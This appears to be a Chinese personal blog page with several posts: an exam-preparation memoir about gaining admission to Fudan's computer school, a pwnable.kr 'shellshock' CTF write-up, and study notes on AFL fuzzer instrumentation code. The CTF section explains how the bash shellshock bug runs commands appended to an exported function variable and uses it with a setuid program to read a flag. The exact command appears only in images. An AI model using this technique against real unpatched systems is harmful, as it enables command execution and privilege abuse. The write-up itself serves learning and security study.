0%

考研经历(复旦大学计算机学院电子信息)

总算是毕业了,考研经验贴一直在拖拖拖,总算在六月底的某个夜里心血来潮来给学弟学妹们分享一些个人的考研经验了。之所以选择这个时间点,没有选择3 4月份复试完直接写,一方面是因为之前太懒了…抱歉hhhh;还有一方面是我觉得前期的那些准备工作网上都铺天盖地的,没必要把别人都总结好的东西再拿来干嚼一遍,我个人前期备考也基本是参考网文。

考研成绩

img

确实是靠数学和专业课撑起来的,去年疫情+暑期不能回校真的各种考验心态和时间规划,我个人9月前都是一直在家备考,受各种因素影响在政治和英语的投入很少,分数理所应当的低…..少到什么程度呢…..大概就是英语这方面我只有前期听课的单词基础和语法基础,然后政治我是从十月十一月开始准备的,所以建议你们最好暑假就开始刷一刷政治课,然后英语不要间断阅读训练和单词积累。

复试成绩高大概是因为本科做的事情(比如打CTF)还有毕设(Fuzzing相关)和那边的研究方向比较match,所以我现在(6月)就已经开始接触那边的论文和项目代码了,而且当时自己答的也还行,虽然情绪上有些紧张啥的,但提问就只是提问,只要能正常交流而且问题答上来就好了。

初试(总成绩50%)

初试经验写在这你们看看就行,这些网上应该也是很多的,有些东西就是赘述了

数学

分数:142

不夸张的讲,感觉今年数学二相对来说确实简单,拿到考卷的感觉就是很舒服,基础知识扎实的话会觉得没啥刁钻题,考的知识点也是平时上课笔记里都有的,当时考场上写的比平时要慢也剩了差不多半小时吧,写的慢是因为我希望简单不丢分。但是虽然这么说….填空题有一题计算的时候把π/2的倒数2/π脑抽地写了个2π,就还是丢了5分,然后剩下的两分是因为漏了一个点 漏了一个渐近线,所以做数学题细心还是很重要的,平时练题也不要懒计算量,该算就算。

要说分享什么经验的话,其实大佬网友们的经验应该都很全了,我的能作为补充就补充吧…

我高数是跟的汤家凤的基础课+强化课,他的1800我在前期写了数一的基础部分(当时不确定自己是考数一还是数二),后来因为408的内容太多我感觉写不完就没写了,本来确定考复旦后想换数二的1800写写高数强化,结果买来放那快递袋子都没拆,疫情+暑期+生产实习结束后在学校真就狂肝408去了,时间太紧只能自己balance。然后线代是跟的李永乐,也是因为时间紧,没来得及刷题,这俩主要就是靠我9月生产实习结束后实打实刷了高数讲义(汤)和线代讲义(李)而且做了很多题型笔记,各种体会考点+学习做题方法然后记下来。十一月底开始写真题写模拟卷,就是每见到一个题目就想这个题在考什么,能不能对应讲义上的题目类型,自己记不记得怎么解,笔记上有没有,如果记忆中没有这个知识点那就查漏补缺,这样刷下来一套卷子就是有价值的,然后整理这些卷子的错题还有各种解题方法,千万不能跳过自己不熟不会的地方(包括自己不熟悉的解题方法,特别是真题上的),写卷子跳过自己的弱点就是在浪费卷子+想不开,因为你不知道这些东西会不会在考试的时候碰到。还有计算量也要注意,暑期还有时间可以多练练,这些年真题给我的感觉就是计算量慢慢开始增大了。

emmm所以总的来说应该就是多记多见多算吧,还有基础知识的掌握是非常重要的,等你们写真题写到今年(2021)数二填空题最后一题就知道了,基础知识扎实的话可以秒杀,基础知识不扎实的就会干瞪眼算到头大。

专业课

分数:123

ps: 408真的很多,一定要给足时间投入

image-20210627005807825

这是去年复习408的时候发的签名,杀疯了哈哈哈哈。我最开始复习408应该是5,6月的样子吧,但是在家的时候5,6月真的各种心烦意乱,考试大作业报告什么的间断我一下就很难受,完全不能按照自己的理想计划来,所以一直到7月底我才复习完数据结构,就是刷完王道的那一整本书,然后八月复习完操作系统,9月一边生产实习一边复习计组,到10月初复习完计组又开始啃计网,然后十月底结束408的第一大轮复习。也就是说我从5月~10月才结束408的第一轮,不过我的第二轮复习只用了一个月,整个十一月我真的就是每天拿4~5个小时出来,抱着王道的四本书不停的抄、记,平均一周一本书(300多面),因为第二轮不用再完整的做题了,只用回顾错题,所以只是专注知识点复习的话就很快,肝起来就像期末考试一样的一直刷一直记。这四门课很大程度上还是啃了大二大三的老本,除了操作系统生疏一些(因为操作系统有很多概念和定义性的东西),计组计网我都算复习的比较快了。

感觉复习专业课知识就是反复地在理解的基础上记忆,然后自己画知识导图,每一门大课,每一章,我都有画过对应的知识导图。而且平时自己用到专业课知识也算比较频繁,认真看一看就很容易理解,关键在于记忆,看后面忘前面的感觉在后期真的会把人逼疯,列知识导图很重要,而且一般复习轮数推荐在两轮以上,这样配合知识导图会记得比较牢。

刷起真题来就是把知识运用到写题里然后查漏补缺,和数学一样,只要是印象中没有或者忘了的东西,全都要自己重新记一遍,然后把自己的易错点整理下来,如果存在理解性错误就赶紧重视。(这里有个小插曲哈哈哈哈哈,当时刷完近十几年的408真题之后,我用一张A4大小的纸整理了一整页的易错点还有查漏补缺的内容,考前半周的时候刷了一次,本来准备考前那个晚上再认真看一看的,结果发现它掉….掉….了…,虽然最后应该没有因为这张纸上面的知识点丢分,毕竟大部分是自己记忆下来了。所以你们要是用纸整理知识点什么的千万别弄丢,越到后期这种时间越宝贵,别因为丢了东西要重新花时间整理)

补充:408真题和数学真题一样建议从后往前做,尽量保证选择题的正确率,考场上大概会有10分左右的东西在当年的王道资料上是没有的,如果碰到这种题不要慌,不会做先跳过就好了

英语&政治

保命分数没啥参考价值…..不过英语我倒是一直有听TED,然后扇贝阅读打卡。12月还报了一次六级,提前习惯了一下考试氛围,最后考了490多吧,比第一次六级高了60分,所以感觉坚持阅读和保持语感还是有用的。政治只能说肖秀荣牛逼,但是想拿高一点分数你自己还是得有话写,上海压不压分我不知道,但是我选择题34分的话,也就是说主观题我照着肖4写满了也只有27分,推荐不要学我只靠肖四肖八保命…..还是要好好听政治课的!

复试(总成绩50%)

复旦的复试分英语口语还有编程摸底、专业面试(英语口语10%,编程摸底40%,专业面试50%),而且今年也是线上复试,在专业面试之前会让你填一遍志愿,计算机学院这边AI和大数据组招的名额会特别多,可能招300人的话这两个方向就有200个人,当然也很卷。我报的系统软件与安全实验室这边只有16个名额,相对来说少很多,但大家的初试分数会更能让人接受一些,当然复旦主要还是看复试分数啦~(想想今年435的复试被刷了就知道什么水平了…..)

英语口语

时长5分钟,我硬刚了,准备的不是很多,只把408中的一些专业课知识的英文陈述背了背,语言组织就啃着我听TED的老本……

上来会有一段自我介绍,一分半钟左右,老师会根据你自我介绍中的信息进行提问,所以千万别给自己挖坑

我被问到的问题三个,但我第一个问题实在是听不清楚…….也不知道是我对那几个单词太生疏了还是老师麦糊听不清,大概就是说我提到manage myself然后啥啥啥的,说了几遍Sorry, I can’t hear clearly老师就跳过了……..当时根本顾不上紧张就换了一个…助理学生?和我对话,这个人离麦比较近所以听的清楚一点。然后就问了我dream job,好家伙,bin方向辣鸡CTFer的dream job那可是再熟悉不过了,当然是各种安全实验室,这里我说的还是挺多的,之后因为我自我介绍提到了比赛,所以问了问我得过什么奖就结束了。比网上某老哥被问到TCP/IP啥的要友好很多,自己基本还是会答,也有可能是因为老师看到我英语分数太低了不好意思问难(

编程摸底

记得当时是时长3小时好像,这个刷题多刷就好,多刷多见识,考完初试自我感觉不错的话年过完了就开始刷吧,虽然我是主要按PAT甲准备的,刷了一百题左右的PAT还有寒假刷的二十几道leetcode上的动态规划,但是复旦这次考的全是leetcode上的原题(70 494 1448),所以机试还是得多刷一些leetcode,特别是PAT好像没啥动态规划,但是动态规划复旦每年都考,一定要记得刷一下动态规划的专题

专业面试

时长15分钟,先过心理关,不要太紧张,一群人围着你的时候该说什么说什么,也不要给自己挖坑,老师会顺着你说的话疯狂追问你,最好找一个有考研面试经验或者已经工作的学长学姐给你模拟面试一次,提前熟悉这个氛围后会好一些。

首先你的机试是必问的,记得考完机试去看看写出来的题还有没有更优解,没写出来的题怎么写。

毕设、项目、竞赛这种东西肯定也会问的,要不然就没啥好聊的了,所以推荐早点把毕设思路想明白,年底毕设选题的时候想清楚自己要做什么,如果有自己的小创新小优化就很好,不管是电话面试还是正式的专业面试都会有不错的印象。如果可以,尽量让自己做的东西和对方的研究方向match上,可以去看看他们发了什么论文,在做什么之类的。

至于面试加压,怎么说呢,保证自己态度要好,虚心接受,但是也别一被怼就怂成馒头弹不起来了,记得适当跟老师解释说明但也不要表现的很强硬,心平气和的交流很重要,就算你觉得老师误解了你的意思,你也一定要说明清楚,别含含糊糊的。

补充:专业面试开始时也会有一个自我介绍,把本科做的事情大致说一说,别挖坑,因为老师会疯狂追问你。

电话面试

这个是分数出来之后,看一看复试群里面的大致排名,觉得有希望就可以去联系老师了,老师会对你本科做的事情还有学习态度、学习能力创新能力之类的做一个估算,通过提问不断了解你,聊的东西可能比专业面试还要多,我当时和老师聊了差不多半小时的样子hhhh,聊完感觉挺好的。

然后是一些之前在学校被问到的东西,经典Q&A环节:

Q&A

1.当初是什么让你在就业和考研中选择了考研?你是如何看待这两个选择的。

在大学刚入学那会就有读研的想法了,当年单纯是觉得这个机会能弥补高考的遗憾。再后来,自己在专业相关的比赛和冬夏令营结识了很多外校的朋友(包括已经工作的还有在读研的),从他们那了解到了一些院校、公司的情况和差别,感觉学术研究氛围更吸引我,所以在考研和就业之间决定了考研。

对于我个人的话,读研,在学术氛围里我能更好保持对专业知识的求知欲;直接进入社会工作,相对来说在知识层面就显得没那么专一。当然这两个选择要视自己实际情况而定,比如有的人就对研究不感冒,更偏爱实际生产中的体验和收获。当然读研也是一个能让我以后有更多选择余地的事情。

2.在考研当中,学长认为什么是最重要的?如心态、计划等。

个人认为心态比计划重要很多。如果执行能力没有那么强,或者说你定的计划太多太完美——想的太好,结果执行不能”落地”,那么这时候心态的重要性就凸显出来了。如果是真心想考研,面对一次又一次的计划落空,一次又一次的进度落后,你会怎么想?是继续严格执行计划,把自己的能动性逼出来;还是说根据实际情况,重新对自己的能力做出评价,换个目标?……

考研路上既有把厕所时间都安排到定点的人,也有不定确切计划走一步看一步的人,但这些都不是他们能否考高分的决定因素,决定最后考试能否考高分,就是面对考题时:会、记得、不写错。

个人觉得,保持”我要学会”的心态很重要,有一个好心态之后动态地安排学习计划,比如前一次执行效果不好,就反思后再重新安排。不管每轮或每月的学习计划执行的是否满意、最后冲刺阶段是否紧张,只要是面对知识,就在”我要学会”的驱动下质问自己会不会,之后为了掌握知识,你就学会了慢慢做出适合自己的计划调整。

3.学长是如何为自己的考研做准备的,应该怎样安排考研复习计划比较好,怎样平衡竞赛与课业任务的?有什么妙招吗?

开始的时候首先了解院校、专业、科目、报录比之类的信息,这些在外面的各种考研平台都有,不必在这里细说。之后根据考试科目安排一个大致的复习框架和复习轮数之类的,当然这里也可以参考各大平台的上岸经验贴,科目经验网上到处都是,个人感觉没必要赘述(srds,6月写经验的时候还是写了哈哈哈哈哈),这些我很多也是照着网上的经验贴来的,然后按我前面说的,自己调整就可以了。

竞赛的话得看个人水平和科目掌握情况,如果自身能力比较强,考试科目掌握情况也比较好,想接着在竞赛上打出成绩,就视自己的精力参加(比如复旦那边上岸的好像就有经常打比赛做项目,最后复习三四个月400多分的人)。如果是本来就没有打过比赛,想趁着考研的学习劲头两手一起抓,好让自己在复试能有东西说,那么我的建议是尽量别。以我个人为参考,去年五六月份感觉自己缺少项目经验,想做个项目,结果在期末考试和复习的干扰之下根本没有那么多心思来管项目的东西,之后进入考研黄金期,就更难抽出心思来了。如果是真想复试有东西可以和老师聊,建议可以把毕设当成项目做,做出自己的小创新。

课业肯定要好好学。这个没啥好说的,根据大一二三的经验应该知道怎么做了,只不过是课业之后花更多时间备考。

4.考研是一个持久战,你曾有没有动摇过,是什么让你坚持不懈一直走下去的?

初期动摇还是挺普遍的,只是多少问题。面对突然的选择、面对两点一线(甚至疫情在家是床和桌子的两点一线)、面对高压的学习氛围、面对全精力的投入代价,对比起大一二相对来说舒服一些学习环境,肯定会觉得很难,怀疑自己是不是找实习会更好。

后来辛苦备考的时候,朋友圈一会是xxx在xx厂入职,一会是xxx在xx厂办的比赛中拿奖、拿到绿色直通,还有最后9、10月份的各种保研截图(特别是冬令营的队友保了北大….),都让我一度”怀疑人生”。

最后明确考研目标,首先是承认了自己的缺点,承认了自己学习、比赛上确实不如校外的朋友们,没能像他们一样把GPA拿的很高等等,既然我是羡慕他们的经历、而且想读研,那么当时的情境下就只能就靠考研这条路来突破,只能在这件事上”做更多功”,想不到别的办法。后期结合我之前提到的,带着”我要学会”的心态,就专注于能让我学会知识,拿到分的办法去了,在考场上面对考题都只是一直在问自己:”这题在考什么,我会不会”,而没有像当年高考一样想着”考不上怎么办,考的不好怎么办”。

我觉得当时那个情境配合自己的心态是我能坚持下来的一个核心原因。

5.考研要注意哪些事情

分条列举一部分吧,这个问题太宽泛了

生活上

  • 注意劳逸结合,让自己学习的时候精力充沛。比如作息这种,考研阶段每个人都不太一样,只能靠自己慢慢体会,调整。
  • 娱乐时间不要太长。比如一下好多天不学,这样很容易让自己把刚学的知识忘掉,也比较难再进入状态。到了复习后期,个人建议是最多一周内选择一天的早+午或者午+晚休息
  • 多吃点,吃好点。专注复习消耗大
  • 让室友尽量配合。比如晚上不要打游戏
  • 小心那些不理解你考研的朋友。
  • 结不结伴考研要视自己性格还有朋友性格而定。我基本是全程一个人准备的,除了有问题要问同学以外。

学习上首先保持好心态,列计划后学会调整,重复记忆很重要,”学会”最大。其他好像没啥好说的,网上经验贴这块应该是共通的….

感情上(如果有的话),需要两个人好好商量一下,毕竟是关系你们各自未来的事情。自己要提醒自己即使在感情最坏的情况下也不要影响考研,因为感情问题在考研上崴脚的人真的太多了。

工作考研以及二战啥的就不知道了….自己也没经历过

6.考研期间有没有发生令你印象很深刻的事,或者受到谁给予的很大鼓励与帮助?如果有可以简要谈一谈,以及自己对此的感想吗?

印象很深刻的事,疫情就算一个,对此的感想只想说人要保持乐观,当初对于疫情考研这件事,有的人觉得疫情在家肯定复习不好,有的人会觉得疫情创造的环境是个机会。

还有我冬令营的北航研究生班助给予了我很多鼓励和帮助,真的很感谢他,暑假有一次在家情绪特别低落,特地找他从我的高考聊到考研,听我倾诉完之后他跟我说:”要多肯定自己”。因为人对他人的反馈是很敏感的,自我暗示也一样,对于成果和收获要及时给自己加之正反馈,这样在学的时候就能更有信心。

7.学长对想要考研的学弟学妹们有什么建议?能说一声自己的经验吗?

上面该说的经验我都说的差不多了,多提一嘴的东西就是重复记忆,要记得学的时候把学到的东西都用笔记下来,还有错过的题目也是,考研毕竟是一个长期过程,才学到的东西说不定过一两个月就忘了,遗忘速度是很快的。

希望考研这个经历带给你们的不只是考研本身,而是在人生层面能带给你们成长,往后走能完完全全准备好的事会越来越少,大家都是第一次,只要不懈怠,在最后无论什么结果都会好受一些,加油!

Others

然后推荐一个我特别特别特别特别喜欢的经验贴,简直是我前期动摇时候的强心剂,真的很喜欢,我巴不得全文引用hhhhhh

https://zhuanlan.zhihu.com/p/26254149

再晒一下6.27号到的录取通知书,给你们沾沾喜气~

image-20210627224747007 image-20210627224821122 image-20210627224904232

pwnable.kr —— shellshock

题目有这样一串代码(shellshock.c)

1
2
3
4
5
6
7
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}

因为有些知识记的不太清了这里就再复习一下euid,ruid,suid什么的

  • ruid(real):用于在系统中标识用户,当用户成功登录一个UNIX系统后就唯一确定
  • euid(effective):用于系统决定用户对系统资源的访问权限,通常情况下等于ruid。当碰上程序属主设置了setuid位的时候,执行该程序会将euid改为文件属主

gid同理,所以这里执行到system的时候已经有对应的组权限了(flag在对应组可读)

image-20210407125845099

然后就是构造触发shellshock漏洞的语句

wiki上面有链接,原理跟linux环境变量相关,bash中可以通过环境变量来导入function,此时的function也会当做普通环境变量来处理,具体就是函数名='(){ ...; };',这样子的键值对,而在处理这个function变量的时候,有漏洞的bash版本只检查了前几个字符

STREQN ("() {", string, 4)

然后将整条字符串全部当做脚本代码处理了,本意应该是起子实例的时候,将这个函数的代码字符串直接跑到子实例bash中,供后续调用。但是这里并没有做语法检查或者结尾检查之类的,所以如果函数后面跟了命令也会被跑出来

所以利用流程就是export一个函数类型的环境变量,然后再起一个bash就会触发后续命令

image-20210407232747355

原理大致如下,再结合我们的程序代码,可以看到程序刚好用system起了一个bash,所以export我们的构造语句之后再跑程序就可以直接cat flag了

如图:

image-20210407233151874

好像后续有些版本export就会加前后缀什么的了,修复的方式这里不深究,以后需要再看

照着这篇博客先把fuzz的门入了

AFL源码粗略分析笔记

我是从这篇这篇开始看的,具体概念这两篇文章也写的很清楚了,下面只是记一些粗略的笔记

afl-gcc.c

afl-gcc主要是gcc的一个封装(wrapper),main中主要执行这三个函数:

1
2
3
4
5
find_as(argv[0]);

edit_params(argc, argv);

execvp(cc_params[0], (char**)cc_params);

find_as:

这个函数的作用是找到对应的编译器

edit_params:

主要是对编译参数做一些设置,用-B指定了编译汇编器等,主要是为了插桩

img

execvp:

用处理之后的编译参数进行源码编译

afl-as.c和afl-as.h

就是这里进行的插桩,可以看到编译出来的代码多了一些插入的东西,比如__afl_maybe_log

image-20210127135753497

afl-as.c中的关键函数add_instrumentation,使用fprintf将插桩用的代码插入,用来统计覆盖率,这里大致看一下插桩的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
if (   !pass_thru  &&  !skip_intel  &&  !skip_app  &&  !skip_csect //这四个变量为1时跳过对应的插桩,具体看后面的分析
&& instr_ok && instrument_next && line[0] == '\t' && isalpha(line[1])//这里line[0]和isalpha应该是对应汇编文件的格式判断插入的位置,没有深入研究,instr_ok和instrument_next看后面的分析
)
{

fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32, R(MAP_SIZE));//插桩写入输出文件,R(MAP_SIZE)的作用是提供一个随机数标识插桩点,在后面分析trampoline_fmt_32会写到
instrument_next = 0;
ins_lines++;
}

fputs(line, outf);//原来的代码再写入输出文件

//....(一些代码)

/*
All right, this is where the actual fun begins. For one, we only want to
instrument the .text section. So, let's keep track of that in processed
files - and let's set instr_ok accordingly.
*/
if (line[0] == '\t' && line[1] == '.') //这个if分值就和注释写的一样,为了只在代码段进行插入,自己不习惯太乱的代码格式就自己稍微改了改了排版
{

/* OpenBSD puts jump tables directly inline with the code, which is
a bit annoying. They use a specific format of p2align directives
around them, so we use that as a signal. */

if (!clang_mode && instr_ok && !strncmp(line + 2, "p2align ", 8)
&& isdigit(line[10]) && line[11] == '\n') skip_next_label = 1;

if (!strncmp(line + 2, "text\n", 5) ||
!strncmp(line + 2, "section\t.text", 13) ||
!strncmp(line + 2, "section\t__TEXT,__text", 21) ||
!strncmp(line + 2, "section __TEXT,__text", 21)
)
{
instr_ok = 1;
continue;
}

if (!strncmp(line + 2, "section\t", 8) ||
!strncmp(line + 2, "section ", 8) ||
!strncmp(line + 2, "bss\n", 4) ||
!strncmp(line + 2, "data\n", 5)
)
{
instr_ok = 0;
continue;
}
}

/* Detect off-flavor assembly (rare, happens in gdb). When this is
encountered, we set skip_csect until the opposite directive is
seen, and we do not instrument.
*/
if (strstr(line, ".code"))//这里可以看到skip_csect是检测.code格式设置的,比较少见
{
if (strstr(line, ".code32")) skip_csect = use_64bit;
if (strstr(line, ".code64")) skip_csect = !use_64bit;
}

/* Detect syntax changes, as could happen with hand-written assembly.
Skip Intel blocks, resume instrumentation when back to AT&T. */
if (strstr(line, ".intel_syntax")) skip_intel = 1;
if (strstr(line, ".att_syntax")) skip_intel = 0;

/* Detect syntax changes, as could happen with hand-written assembly.
Skip Intel blocks, resume instrumentation when back to AT&T. */
if (strstr(line, ".intel_syntax")) skip_intel = 1;
if (strstr(line, ".att_syntax")) skip_intel = 0;

/* Detect and skip ad-hoc __asm__ blocks, likewise skipping them. */
if (line[0] == '#' || line[1] == '#')
{
if (strstr(line, "#APP")) skip_app = 1;
if (strstr(line, "#NO_APP")) skip_app = 0;
}
//上面这三个写的比较清楚就不解释辽

//....(一些代码)

/*
Conditional branch instruction (jnz, etc). We append the instrumentation
right after the branch (to instrument the not-taken path) and at the
branch destination label (handled later on).
*/
if (line[0] == '\t') //这里有个比较重要的分支,当指令不是jmp而是一些条件跳转指令时,会在条件跳转指令之后进行插桩,还有对应的目标地址处(在后面处理)
{
if (line[1] == 'j' && line[2] != 'm' && R(100) < inst_ratio) //这个int_ratio暂时没管是干嘛的...
{
fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32, R(MAP_SIZE));
ins_lines++;
}
continue;
}

/*
Label of some sort. This may be a branch destination, but we need to
tread carefully and account for several different formatting
conventions. 这里就是在打上了Label的地方进行插桩,可能是跳转指令的目的地址
*/
/* Everybody else: .L<whatever>: */
if (strstr(line, ":"))
{
if (line[0] == '.')//判断到是一个Label
{
/* .L0: or LBB0_0: style jump destination 跳转Label*/
if ((isdigit(line[2]) || (clang_mode && !strncmp(line + 1, "LBB", 3))) && R(100) < inst_ratio)
{
/* An optimization is possible here by adding the code only if the
label is mentioned in the code in contexts other than call / jmp.
That said, this complicates the code by requiring two-pass
processing (messy with stdin), and results in a speed gain
typically under 10%, because compilers are generally pretty good
about not generating spurious intra-function jumps.

We use deferred output chiefly to avoid disrupting
.Lfunc_begin0-style exception handling calculations (a problem on
MacOS X). */
if (!skip_next_label) instrument_next = 1; else skip_next_label = 0;//这里跟前面的那个标志也有关系
}
}
else
{
/* Function label (always instrumented, deferred mode). 函数Label*/
instrument_next = 1;
}
}
//到这里大循环的插桩就结束了,之后还有补充的小块代码就不写了,主要就是这些:只在代码段插桩、在有函数Label(函数入口)和跳转Label处插桩,在条件条状指令之后插桩

afl-as.h中就是具体的插桩代码,以32位为例来分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static const u8* trampoline_fmt_32 =
"\n"
"/* --- AFL TRAMPOLINE (32-BIT) --- */\n"
"\n"
".align 4\n"
"\n"
"leal -16(%%esp), %%esp\n"
"movl %%edi, 0(%%esp)\n"
"movl %%edx, 4(%%esp)\n"
"movl %%ecx, 8(%%esp)\n"
"movl %%eax, 12(%%esp)\n"
"movl $0x%08x, %%ecx\n" //这里%08x就是前面fprintf中R(MAP_SIZE)的写入点,用作随机数标识
"call __afl_maybe_log\n"
"movl 12(%%esp), %%eax\n"
"movl 8(%%esp), %%ecx\n"
"movl 4(%%esp), %%edx\n"
"movl 0(%%esp), %%edi\n"
"leal 16(%%esp), %%esp\n"
"\n"
"/* --- END --- */\n"
"\n";

payload根据实际效果删了一些宏定义啥的,看起来好看一点,emmm其实建议直接IDA反汇编看更好?….不过这里汇编有作者的注释帮着看,IDA反汇编图我在代码后面贴上了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
main_payload_32 = 
"/* --- AFL MAIN PAYLOAD (32-BIT) --- */\n"
".text\n"
".att_syntax\n"
".code32\n"
".align 8\n"

"__afl_maybe_log:\n"
" lahf\n" //将EFLAGS 寄存器标志位加载到AH
" seto %al\n" //为溢出置位

" /* Check if SHM region is already mapped. */\n"
" movl __afl_area_ptr, %edx\n"
" testl %edx, %edx\n"
" je __afl_setup\n" //检查共享内存指针是否到位

"__afl_store:\n"
" /* Calculate and store hit for the code location specified in ecx. There\n"
" is a double-XOR way of doing this without tainting another register,\n"
" and we use it on 64-bit systems; but it's slower for 32-bit ones. */\n"
" movl __afl_prev_loc, %edi\n"
" xorl %ecx, %edi\n"
" shrl $1, %ecx\n"
" movl %ecx, __afl_prev_loc\n"
" incb (%edx, %edi, 1)\n" //根据随机数存储执行位置,算法在后文分析
The shared_mem[] array is a 64 kB SHM region passed to the instrumented binary
by the caller. Every byte set in the output map can be thought of as a hit for
a particular (branch_src, branch_dst) tuple in the instrumented code.

"__afl_return:\n"
" addb $127, %al\n"
" sahf\n"
" ret\n"

".align 8\n"

"__afl_setup:\n"//setup只会在最开始调用afl_maybe_log处触发,即main函数的最前面触发,主要是开启一个目标文件自己的fork循环用来记录执行路径(这个程序自己的fork循环就是forkserver)
" /* Do not retry setup if we had previous failures. */\n"
" cmpb $0, __afl_setup_failure\n"
" jne __afl_return\n"
" /* Map SHM, jumping to __afl_setup_abort if something goes wrong.\n"
" We do not save FPU/MMX/SSE registers here, but hopefully, nobody\n"
" will notice this early in the game. */\n"
" pushl %eax\n"
" pushl %ecx\n"
" pushl $.AFL_SHM_ENV\n"
" call getenv\n"
" addl $4, %esp\n"
" testl %eax, %eax\n"
" je __afl_setup_abort\n"
" pushl %eax\n"
" call atoi\n"
" addl $4, %esp\n"
" pushl $0 /* shmat flags */\n"
" pushl $0 /* requested addr */\n"
" pushl %eax /* SHM ID */\n"
" call shmat\n"
" addl $12, %esp\n"
" cmpl $-1, %eax\n"
" je __afl_setup_abort\n"
" /* Store the address of the SHM region. */\n"
" movl %eax, __afl_area_ptr\n"
" movl %eax, %edx\n"
" popl %ecx\n"
" popl %eax\n"

"__afl_forkserver:\n"
" /* Enter the fork server mode to avoid the overhead of execve() calls. */\n"
" pushl %eax\n"
" pushl %ecx\n"
" pushl %edx\n"
" /* Phone home and tell the parent that we're OK. (Note that signals with\n"
" no SA_RESTART will mess it up). If this fails, assume that the fd is\n"
" closed because we were execve()d from an instrumented binary, or because\n"
" the parent doesn't want to use the fork server. */\n"
" pushl $4 /* length */\n"
" pushl $__afl_temp /* data */\n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */\n"//fork server向fuzzer传递执行状态码,199描述符(后面会说是什么)
" call write\n"
" addl $12, %esp\n"
" cmpl $4, %eax\n"
" jne __afl_fork_resume\n"

"__afl_fork_wait_loop:\n"
" /* Wait for parent by reading from the pipe. Abort if read fails. */\n"
" pushl $4 /* length */\n"
" pushl $__afl_temp /* data */\n"
" pushl $" STRINGIFY(FORKSRV_FD) " /* file desc */\n"//等待fuzzer传递命令,198描述符
" call read\n"
" addl $12, %esp\n"
" cmpl $4, %eax\n"
" jne __afl_die\n"
" /* Once woken up, create a clone of our process. This is an excellent use"
" case for syscall(__NR_clone, 0, CLONE_PARENT), but glibc boneheadedly"
" caches getpid() results and offers no way to update the value, breaking"
" abort(), raise(), and a bunch of other things :-( */\n"
" call fork\n"
" cmpl $0, %eax\n"
" jl __afl_die\n"
" je __afl_fork_resume\n"
" /* In parent process: write PID to pipe, then wait for child. */\n"
" movl %eax, __afl_fork_pid\n"
" pushl $4 /* length */\n"
" pushl $__afl_fork_pid /* data */\n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */\n"//199描述符
" call write\n"
" addl $12, %esp\n"
" pushl $0 /* no flags */\n"
" pushl $__afl_temp /* status */\n"
" pushl __afl_fork_pid /* PID */\n"
" call waitpid\n"
" addl $12, %esp\n"
" cmpl $0, %eax\n"
" jle __afl_die\n"
" /* Relay wait status to pipe, then loop back. */\n" //wait statu指最开始那个进程等待到的 子进程返回来的 状态
" pushl $4 /* length */\n"
" pushl $__afl_temp /* data */\n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */\n"
" call write\n"
" addl $12, %esp\n"
" jmp __afl_fork_wait_loop\n"

"__afl_fork_resume:\n"//这里是每次forkserver fork出来的子进程都要执行的
" /* In child process: close fds, resume execution. */\n"
" pushl $" STRINGIFY(FORKSRV_FD) "\n"
" call close\n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) "\n"
" call close\n"
" addl $8, %esp\n"
" popl %edx\n"
" popl %ecx\n"
" popl %eax\n"
" jmp __afl_store\n"//跳到前面的__afl_store

"__afl_die:\n"
" xorl %eax, %eax\n"
" call _exit\n"

"__afl_setup_abort:\n"
" /* Record setup failure so that we don't keep calling\n"
" shmget() / shmat() over and over again. */\n"
" incb __afl_setup_failure\n"
" popl %ecx\n"
" popl %eax\n"
" jmp __afl_return\n"

".AFL_VARS:\n"
" .comm __afl_area_ptr, 4, 32\n"
" .comm __afl_setup_failure, 1, 32\n"
" .comm __afl_prev_loc, 4, 32\n"
" .comm __afl_fork_pid, 4, 32\n"
" .comm __afl_temp, 4, 32\n"
"\n"
".AFL_SHM_ENV:\n"
" .asciz \"" SHM_ENV_VAR "\"\n"
"\n"
"/* --- END --- */\n"
image-20210203133736042

alloc-inl.c

后面的代码中很多与内存相关的操作都是alloc-inl里面的,不缕一下的话不知所云…所以这里记录一下经常在afl-fuzz.c中看到的几个内存操作函数

作者原话:This allocator is not designed to resist malicious attackers (the canaries are small and predictable), but provides a robust and portable way to detect use-after-free, off-by-one writes, stale pointers, and so on.

里面的宏定义有一些类似:__LINE____FUNCTION__的,这是C编译器的内置宏,具体代表什么意思百度一下即可

  • ALLOC_CHECK_SIZE(size) malloc前检查size是否超过设置的最大chunk大小
  • ret = malloc(size + ALLOC_OFF_TOTAL);经常出现的malloc方式,这里是+ ALLOC_OFF_TOTAL为了在chunk前8字节处存放一个4B的头部标志和size,还有一个1B的尾部标志
  • ALLOC_CHECK_RESULT(ret,size) malloc后检查是否分配成功,若ret为NULL,这个size就会用于打印错误信息
  • TRK_ck_strdup,(TRK开头 + ck + 一般函数名)的函数,主要进行如下两个操作
